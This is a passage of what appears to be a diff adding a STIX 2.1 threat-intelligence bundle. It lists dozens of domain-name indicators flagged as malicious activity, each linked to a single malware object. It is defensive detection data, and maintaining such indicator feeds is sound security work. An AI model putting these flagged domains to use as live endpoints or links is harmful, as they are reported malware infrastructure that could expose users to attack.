"created": "2023-03-29T12:58:45.079964Z", + "modified": "2023-03-29T12:58:45.079964Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enrageenvy.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.079964Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eaba5a6a-97cd-4e2a-8139-6fd0411bb81b", + "created": "2023-03-29T12:58:45.080555Z", + "modified": "2023-03-29T12:58:45.080555Z", + "relationship_type": "indicates", + "source_ref": "indicator--34de30e8-767c-4387-83ea-28e54ef9a40e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ef7ff13-6c1c-4d1c-8505-3ebdba8fa999", + "created": "2023-03-29T12:58:45.080723Z", + "modified": "2023-03-29T12:58:45.080723Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='expandrecolor.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.080723Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c9cb202-334b-495a-bf35-a6b417baed15", + "created": "2023-03-29T12:58:45.08131Z", + "modified": "2023-03-29T12:58:45.08131Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ef7ff13-6c1c-4d1c-8505-3ebdba8fa999", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80f8a896-6d6a-483f-9145-b43fd7d00b3e", + "created": "2023-03-29T12:58:45.081483Z", + "modified": "2023-03-29T12:58:45.081483Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surgerydupe.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.081483Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eb526eaa-406f-4b67-8eb6-a8d2a556e60d", + "created": "2023-03-29T12:58:45.082075Z", + "modified": "2023-03-29T12:58:45.082075Z", + "relationship_type": "indicates", + "source_ref": "indicator--80f8a896-6d6a-483f-9145-b43fd7d00b3e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e094d158-c6d5-42a5-900d-320917df734f", + "created": "2023-03-29T12:58:45.082243Z", + "modified": "2023-03-29T12:58:45.082243Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dropoutjackpot.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.082243Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4da788a4-4ff1-4847-b0b0-646bb061c04b", + "created": "2023-03-29T12:58:45.08295Z", + "modified": "2023-03-29T12:58:45.08295Z", + "relationship_type": "indicates", + "source_ref": "indicator--e094d158-c6d5-42a5-900d-320917df734f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--646fab37-e67a-4fd7-b6c9-e50c8553dfa2", + "created": "2023-03-29T12:58:45.083122Z", + "modified": "2023-03-29T12:58:45.083122Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='winkingtapestry.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.083122Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8ec67545-1e54-4f40-8c25-20fa9b3f2bc2", + "created": "2023-03-29T12:58:45.083722Z", + "modified": "2023-03-29T12:58:45.083722Z", + "relationship_type": "indicates", + "source_ref": "indicator--646fab37-e67a-4fd7-b6c9-e50c8553dfa2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75633b22-3089-43a8-9a4c-0ff1486706ac", + "created": "2023-03-29T12:58:45.083892Z", + "modified": "2023-03-29T12:58:45.083892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nutcaseextinct.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.083892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d2b90b1-5c22-4055-9985-82c0d7ad09a2", + "created": "2023-03-29T12:58:45.084485Z", + "modified": "2023-03-29T12:58:45.084485Z", + "relationship_type": "indicates", + "source_ref": "indicator--75633b22-3089-43a8-9a4c-0ff1486706ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7bf99732-1817-4412-9dac-c53b23808afd", + "created": "2023-03-29T12:58:45.084652Z", + "modified": "2023-03-29T12:58:45.084652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reforestcartwheel.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.084652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6da2d6a4-0b88-4471-9879-176abb16c6aa", + "created": "2023-03-29T12:58:45.085246Z", + "modified": "2023-03-29T12:58:45.085246Z", + "relationship_type": "indicates", + "source_ref": "indicator--7bf99732-1817-4412-9dac-c53b23808afd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01087c65-2db3-46a4-812c-84c1e2edcb59", + "created": "2023-03-29T12:58:45.085414Z", + "modified": "2023-03-29T12:58:45.085414Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='talknever.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.085414Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--014e0351-334e-4df5-b7e4-b117e83ea48c", + "created": "2023-03-29T12:58:45.086009Z", + "modified": "2023-03-29T12:58:45.086009Z", + "relationship_type": "indicates", + "source_ref": "indicator--01087c65-2db3-46a4-812c-84c1e2edcb59", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1eed4b6e-5f04-480d-a511-9aad232eb855", + "created": "2023-03-29T12:58:45.086178Z", + "modified": "2023-03-29T12:58:45.086178Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='epicgrain.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.086178Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--35283729-9969-48c6-b931-01667077058b", + "created": "2023-03-29T12:58:45.086764Z", + "modified": "2023-03-29T12:58:45.086764Z", + "relationship_type": "indicates", + "source_ref": "indicator--1eed4b6e-5f04-480d-a511-9aad232eb855", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b178ea6-8bed-4449-8667-300401ffbf30", + "created": "2023-03-29T12:58:45.086935Z", + "modified": "2023-03-29T12:58:45.086935Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flagstickglaring.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.086935Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5690456-7e5b-46c6-9fc5-3f9271e5ec0f", + "created": "2023-03-29T12:58:45.087527Z", + "modified": "2023-03-29T12:58:45.087527Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b178ea6-8bed-4449-8667-300401ffbf30", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2f03d07-e421-4f4f-81b0-9bf68bfd5841", + "created": "2023-03-29T12:58:45.087695Z", + "modified": "2023-03-29T12:58:45.087695Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trickytape.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.087695Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5fb9a628-1ff9-4075-aadd-cbb9371782a7", + "created": "2023-03-29T12:58:45.08828Z", + "modified": "2023-03-29T12:58:45.08828Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2f03d07-e421-4f4f-81b0-9bf68bfd5841", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4bfa9081-f487-4802-b16e-8aabacbbc393", + "created": "2023-03-29T12:58:45.088448Z", + "modified": "2023-03-29T12:58:45.088448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curadellamadre.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.088448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14b27ab1-2fba-4730-873f-29ee39983ac8", + "created": "2023-03-29T12:58:45.089043Z", + "modified": "2023-03-29T12:58:45.089043Z", + "relationship_type": "indicates", + "source_ref": "indicator--4bfa9081-f487-4802-b16e-8aabacbbc393", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0281ae00-8082-4fca-9718-23c16e0e8a12", + "created": "2023-03-29T12:58:45.08921Z", + "modified": "2023-03-29T12:58:45.08921Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twiddlesandbox.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.08921Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1ef7539-2948-4e65-a43e-c8f6a6af53ea", + "created": "2023-03-29T12:58:45.089917Z", + "modified": "2023-03-29T12:58:45.089917Z", + "relationship_type": "indicates", + "source_ref": "indicator--0281ae00-8082-4fca-9718-23c16e0e8a12", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1d9b7113-5be6-486f-9e26-2f25388ff98e", + "created": "2023-03-29T12:58:45.09009Z", + "modified": "2023-03-29T12:58:45.09009Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='validunpadded.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.09009Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f364a06c-2226-4c50-a47b-d9d7792c6946", + "created": "2023-03-29T12:58:45.090681Z", + "modified": "2023-03-29T12:58:45.090681Z", + "relationship_type": "indicates", + "source_ref": "indicator--1d9b7113-5be6-486f-9e26-2f25388ff98e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d3d36a24-549c-44d0-b388-53b3aa7a1213", + "created": "2023-03-29T12:58:45.090849Z", + "modified": "2023-03-29T12:58:45.090849Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='letsblue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.090849Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40c5774b-9734-47e0-8b75-42021693993b", + "created": "2023-03-29T12:58:45.09143Z", + "modified": "2023-03-29T12:58:45.09143Z", + "relationship_type": "indicates", + "source_ref": "indicator--d3d36a24-549c-44d0-b388-53b3aa7a1213", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d10e849f-55ee-494d-88fe-70b5895c9648", + "created": "2023-03-29T12:58:45.091601Z", + "modified": "2023-03-29T12:58:45.091601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stilthandsaw.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.091601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--faa31b1d-3012-4183-b97f-499428d4a826", + "created": "2023-03-29T12:58:45.092191Z", + "modified": "2023-03-29T12:58:45.092191Z", + "relationship_type": "indicates", + "source_ref": "indicator--d10e849f-55ee-494d-88fe-70b5895c9648", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b69a583a-fbb2-4534-86ae-2a1e99aa6288", + "created": "2023-03-29T12:58:45.092357Z", + "modified": "2023-03-29T12:58:45.092357Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='implicatedupe.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.092357Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfb0d867-60f4-4b93-a405-7d8fcb401a5f", + "created": "2023-03-29T12:58:45.092948Z", + "modified": "2023-03-29T12:58:45.092948Z", + "relationship_type": "indicates", + "source_ref": "indicator--b69a583a-fbb2-4534-86ae-2a1e99aa6288", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--28005352-0cc7-478f-8421-6ca49fbb8fc9", + "created": "2023-03-29T12:58:45.093116Z", + "modified": "2023-03-29T12:58:45.093116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='catnipendnote.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.093116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8eb3d0ab-17b6-40c9-88c5-243d21d32340", + "created": "2023-03-29T12:58:45.093715Z", + "modified": "2023-03-29T12:58:45.093715Z", + "relationship_type": "indicates", + "source_ref": "indicator--28005352-0cc7-478f-8421-6ca49fbb8fc9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2d8169ca-fa72-43ed-ac62-e9e0f499c4ae", + "created": "2023-03-29T12:58:45.093886Z", + "modified": "2023-03-29T12:58:45.093886Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alloggiocenthia.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.093886Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--edd48eb5-3723-439a-95cb-3ee0c02f87ad", + "created": "2023-03-29T12:58:45.094483Z", + "modified": "2023-03-29T12:58:45.094483Z", + "relationship_type": "indicates", + "source_ref": "indicator--2d8169ca-fa72-43ed-ac62-e9e0f499c4ae", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53faaa26-8fed-42b1-a88c-b980fb41d91a", + "created": "2023-03-29T12:58:45.09465Z", + "modified": "2023-03-29T12:58:45.09465Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='concavefrozen.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.09465Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a0d00e0-0f7a-4147-902e-2c76ca9bfd7e", + "created": "2023-03-29T12:58:45.095244Z", + "modified": "2023-03-29T12:58:45.095244Z", + "relationship_type": "indicates", + "source_ref": "indicator--53faaa26-8fed-42b1-a88c-b980fb41d91a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa74237f-9bbd-4e43-8f48-b0ca16bda4f6", + "created": "2023-03-29T12:58:45.095412Z", + "modified": "2023-03-29T12:58:45.095412Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='estimatormanpower.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.095412Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc48c869-d7ce-4aaf-9c86-af62f318cfc9", + "created": "2023-03-29T12:58:45.096007Z", + "modified": "2023-03-29T12:58:45.096007Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa74237f-9bbd-4e43-8f48-b0ca16bda4f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42720e04-e2da-4540-b0ea-b36f8d3d7d45", + "created": "2023-03-29T12:58:45.096175Z", + "modified": "2023-03-29T12:58:45.096175Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smittenvoicing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.096175Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--125baa1e-efce-4f9c-a24e-e4f5c409a456", + "created": "2023-03-29T12:58:45.096878Z", + "modified": "2023-03-29T12:58:45.096878Z", + "relationship_type": "indicates", + "source_ref": "indicator--42720e04-e2da-4540-b0ea-b36f8d3d7d45", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a750697-31c3-4808-848c-7718fdf6c8fc", + "created": "2023-03-29T12:58:45.097056Z", + "modified": "2023-03-29T12:58:45.097056Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='manhandleperoxide.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.097056Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3fffbaa8-c281-4124-8b37-0cad5178ca2a", + "created": "2023-03-29T12:58:45.09766Z", + "modified": "2023-03-29T12:58:45.09766Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a750697-31c3-4808-848c-7718fdf6c8fc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dbd82f13-5926-4511-93a5-6c00c62b7b98", + "created": "2023-03-29T12:58:45.097828Z", + "modified": "2023-03-29T12:58:45.097828Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='annuitytwigged.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.097828Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61788b07-a794-426f-8b3a-1f73d277f1b0", + "created": "2023-03-29T12:58:45.098419Z", + "modified": "2023-03-29T12:58:45.098419Z", + "relationship_type": "indicates", + "source_ref": "indicator--dbd82f13-5926-4511-93a5-6c00c62b7b98", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5efd42cd-863f-4a17-ad41-3bee224a5417", + "created": "2023-03-29T12:58:45.098586Z", + "modified": "2023-03-29T12:58:45.098586Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='healthprods.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.098586Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8aa772fa-6eb1-467f-9b94-ba52b551cf45", + "created": "2023-03-29T12:58:45.09917Z", + "modified": "2023-03-29T12:58:45.09917Z", + "relationship_type": "indicates", + "source_ref": "indicator--5efd42cd-863f-4a17-ad41-3bee224a5417", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6286e9df-b833-41d6-afc7-7af316f14dba", + "created": "2023-03-29T12:58:45.099339Z", + "modified": "2023-03-29T12:58:45.099339Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fedoraunsterile.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.099339Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--518b0585-72bc-4ee2-afd2-2b748ace9593", + "created": "2023-03-29T12:58:45.09993Z", + "modified": "2023-03-29T12:58:45.09993Z", + "relationship_type": "indicates", + "source_ref": "indicator--6286e9df-b833-41d6-afc7-7af316f14dba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--08792ad5-b6be-4fa6-b095-ba7afdb60b5e", + "created": "2023-03-29T12:58:45.100097Z", + "modified": "2023-03-29T12:58:45.100097Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='duckbillcryptic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.100097Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d6ba4443-51e4-4d4f-a6b5-063ac8afb93a", + "created": "2023-03-29T12:58:45.100688Z", + "modified": "2023-03-29T12:58:45.100688Z", + "relationship_type": "indicates", + "source_ref": "indicator--08792ad5-b6be-4fa6-b095-ba7afdb60b5e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce79f1d2-d1e9-423a-8ed3-88e71ecd97a1", + "created": "2023-03-29T12:58:45.100856Z", + "modified": "2023-03-29T12:58:45.100856Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='peculiarcrop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.100856Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7d034013-60bb-4e70-a2b9-eb44f1bc7e91", + "created": "2023-03-29T12:58:45.101448Z", + "modified": "2023-03-29T12:58:45.101448Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce79f1d2-d1e9-423a-8ed3-88e71ecd97a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf43f685-731f-4aee-964f-0222b6a71968", + "created": "2023-03-29T12:58:45.101621Z", + "modified": "2023-03-29T12:58:45.101621Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scoutingsupremacy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.101621Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0cfdeb4c-102d-4230-8ce8-7fd818ee9fdf", + "created": "2023-03-29T12:58:45.102236Z", + "modified": "2023-03-29T12:58:45.102236Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf43f685-731f-4aee-964f-0222b6a71968", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d8d52d83-5033-4799-a1ad-7508ebef8022", + "created": "2023-03-29T12:58:45.102404Z", + "modified": "2023-03-29T12:58:45.102404Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cooledroads.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.102404Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be5141ed-3444-4a95-ac07-d55d87633d01", + "created": "2023-03-29T12:58:45.103Z", + "modified": "2023-03-29T12:58:45.103Z", + "relationship_type": "indicates", + "source_ref": "indicator--d8d52d83-5033-4799-a1ad-7508ebef8022", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1df9ad4f-ed16-43df-8a73-bcf4ea9811e5", + "created": "2023-03-29T12:58:45.103173Z", + "modified": "2023-03-29T12:58:45.103173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stockoak.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.103173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3f9e1a9-b4bf-4884-815f-dbec80e43f2b", + "created": "2023-03-29T12:58:45.103888Z", + "modified": "2023-03-29T12:58:45.103888Z", + "relationship_type": "indicates", + "source_ref": "indicator--1df9ad4f-ed16-43df-8a73-bcf4ea9811e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c6634722-4683-4abc-afd8-9d6a7b94bd3d", + "created": "2023-03-29T12:58:45.104061Z", + "modified": "2023-03-29T12:58:45.104061Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tubelesstrophy.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.104061Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fadb5a84-0e1e-4c5f-8f29-d6884e02a2c9", + "created": "2023-03-29T12:58:45.104708Z", + "modified": "2023-03-29T12:58:45.104708Z", + "relationship_type": "indicates", + "source_ref": "indicator--c6634722-4683-4abc-afd8-9d6a7b94bd3d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--367c423c-9327-4847-a5ee-5fb1b909aab1", + "created": "2023-03-29T12:58:45.10489Z", + "modified": "2023-03-29T12:58:45.10489Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='matchlessradiated.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.10489Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5e23696-28f6-48dd-b205-f514b65c8735", + "created": "2023-03-29T12:58:45.105496Z", + "modified": "2023-03-29T12:58:45.105496Z", + "relationship_type": "indicates", + "source_ref": "indicator--367c423c-9327-4847-a5ee-5fb1b909aab1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5f1b78a-1b0f-4608-9005-58655d68ec02", + "created": "2023-03-29T12:58:45.105678Z", + "modified": "2023-03-29T12:58:45.105678Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='knollcanon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.105678Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf8a47c6-3086-4bce-bfb0-f971a6bbdbb6", + "created": "2023-03-29T12:58:45.106267Z", + "modified": "2023-03-29T12:58:45.106267Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5f1b78a-1b0f-4608-9005-58655d68ec02", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--445f85b8-075c-4578-8db2-a7442e1bf4ac", + "created": "2023-03-29T12:58:45.106434Z", + "modified": "2023-03-29T12:58:45.106434Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fallingstars.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.106434Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07c244ad-90a2-40cf-8810-080f35674917", + "created": "2023-03-29T12:58:45.107028Z", + "modified": "2023-03-29T12:58:45.107028Z", + "relationship_type": "indicates", + "source_ref": "indicator--445f85b8-075c-4578-8db2-a7442e1bf4ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26291166-2f5a-4301-9f6a-8dafdfdcb1ee", + "created": "2023-03-29T12:58:45.107198Z", + "modified": "2023-03-29T12:58:45.107198Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pointedfocus.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.107198Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6a8d40b-fb49-4c07-a3c2-41681a3dadf8", + "created": "2023-03-29T12:58:45.107787Z", + "modified": "2023-03-29T12:58:45.107787Z", + "relationship_type": "indicates", + "source_ref": "indicator--26291166-2f5a-4301-9f6a-8dafdfdcb1ee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1c4e68a-3fd3-4d7f-add7-3265f01e83c5", + "created": "2023-03-29T12:58:45.107956Z", + "modified": "2023-03-29T12:58:45.107956Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='celerydaunting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.107956Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9e8f25de-7de3-4e8b-99a8-aada6f8968ad", + "created": "2023-03-29T12:58:45.108546Z", + "modified": "2023-03-29T12:58:45.108546Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1c4e68a-3fd3-4d7f-add7-3265f01e83c5", + "target_ref": 